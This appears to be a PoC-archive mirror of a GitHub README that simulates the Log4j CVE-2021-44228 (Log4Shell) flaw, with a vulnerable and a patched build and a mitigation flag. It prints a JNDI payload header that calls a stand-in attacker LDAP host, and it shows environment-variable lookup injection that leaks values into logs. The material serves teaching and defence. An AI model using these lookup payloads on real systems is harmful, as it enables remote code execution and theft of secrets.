Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
A simple simulation of the infamous CVE-2021-44228 issue.
Readme
[](https://github.com/Nikolas-Charalambidis/cve-2021-44228/actions/workflows/ci.yml)
# CVE-2021-44228
This repository represents a simplified simulation of infamous [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) issue.
Aside from system properties and other dictionary structures lookups, Apache Log4j also implements JNDI lookup feature for [various reasons](https://stackoverflow.com/a/70375993/3764965).
The JNDI can obtain services from a number of service providers, such as [LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol), [DNS](https://en.wikipedia.org/wiki/Domain_Name_System), [Java RMI](https://en.wikipedia.org/wiki/Java_remote_method_invocation) registry, etc.
The JNDI itself is a simple and insecure API that doesn't protect against service providers controlled by a 3rd party.
As long as the attacker controls a server publicly accessible through the malicious URL and is aware what is being logged by the application listening over a specific port,
they can abuse the log format to cause the application to load and execute arbitrary Java code through JNDI injection.
This can be passed through commonly logged request headers in either plain text or obfuscated form.
```
user-agent: ${jndi:ldap://evilserver.com/payload}
```
Apache Log4j was vulnerable to remote code execution vulnerability before the [`2.16.0`](https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.16.0) version came out 13rd of December and the authors have my due respect for their quick response.
Resources:
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
- https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns
___
# Example
The simulation is using environment variables instead of an LDAP server, as well as the log format supports the [Property substitution](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution).
The principle is no different.
## Prerequisites
Java 11 and Maven are required, nevertheless Maven Wrapper is also included in the repository.
## Exploitation
The GitHub repository defines a repository secret `PASSWORD` that is set as an environment variable in the workflow `.github/workflow/ci.yml` file in order to make a secret available to an action.
To reproduce the issue locally a commonly used `JAVA_HOME` environment variable can be used.
The workflow builds and executes two applications with different Apache Log4j versions `2.14.1` and `2.16.0` and here is a sample execution on GitHub Actions: [Java CI #7](https://github.com/Nikolas-Charalambidis/cve-2021-44228/actions/runs/1593516628).
### Apache Log4j 2.14.1
This version is vulnerable to the attack. Follow these steps to reproduce:
1. `mvn clean install -f log4j-2.14.1`
1. `java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'`
The environment variable appears logged:
> `args[0] = C:\Program Files\Java\jdk-11.0.11`
Here is a screenshot from GitHub action just for the case the actual run is removed automatically:
Note that once you try to print out secrets to the log, GitHub automatically redacts them and the values are masked and displayed as `***`.
The property was, however, substituted.
#### Mitigation
A temporary and partial workaround is instructed as adding the `-Dlog4j2.formatMsgNoLookups=True` JVM parameter, therefore it is needed to restart all the nodes of application.
1. `mvn clean install -f log4j-2.14.1`
1. `java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'`
No property substitution happens:
> `args[0] = ${env:JAVA_HOME:-}`
Again, here is a screenshot from GitHub Actions:
### Apache Log4j 2.16.0
The issue was fixed in Log4j `2.12.2` (Java 7) and Log4j `2.16.0` (Java 8) by the Log4j Security Team.
1. `mvn clean install -f log4j-2.16.0`
1. `java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'`
No property substitution happens:
> `args[0] = ${env:JAVA_HOME:-}`
Again, here is a screenshot from GitHub Actions:
File Snapshot
[4.0K] /data/pocs/4edfc16f00204ed01e7bbd722a50c0876f741967
├── [4.0K] images
│ ├── [ 22K] log4j-2.14.1-mitigated.png
│ ├── [ 21K] log4j-2.14.1.png
│ └── [ 21K] log4j-2.16.0.png
├── [4.0K] log4j-2.14.1
│ ├── [2.7K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] io
│ │ └── [4.0K] nichar
│ │ └── [4.0K] sandbox
│ │ └── [4.0K] cve202144228
│ │ └── [ 491] Application.java
│ └── [4.0K] resources
│ └── [ 351] log4j2.xml
├── [4.0K] log4j-2.16.0
│ ├── [2.7K] pom.xml
│ └── [4.0K] src
│ └── [4.0K] main
│ ├── [4.0K] java
│ │ └── [4.0K] io
│ │ └── [4.0K] nichar
│ │ └── [4.0K] sandbox
│ │ └── [4.0K] cve202144228
│ │ └── [ 490] Application.java
│ └── [4.0K] resources
│ └── [ 351] log4j2.xml
├── [9.8K] mvnw
├── [6.5K] mvnw.cmd
└── [4.4K] README.md
19 directories, 12 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →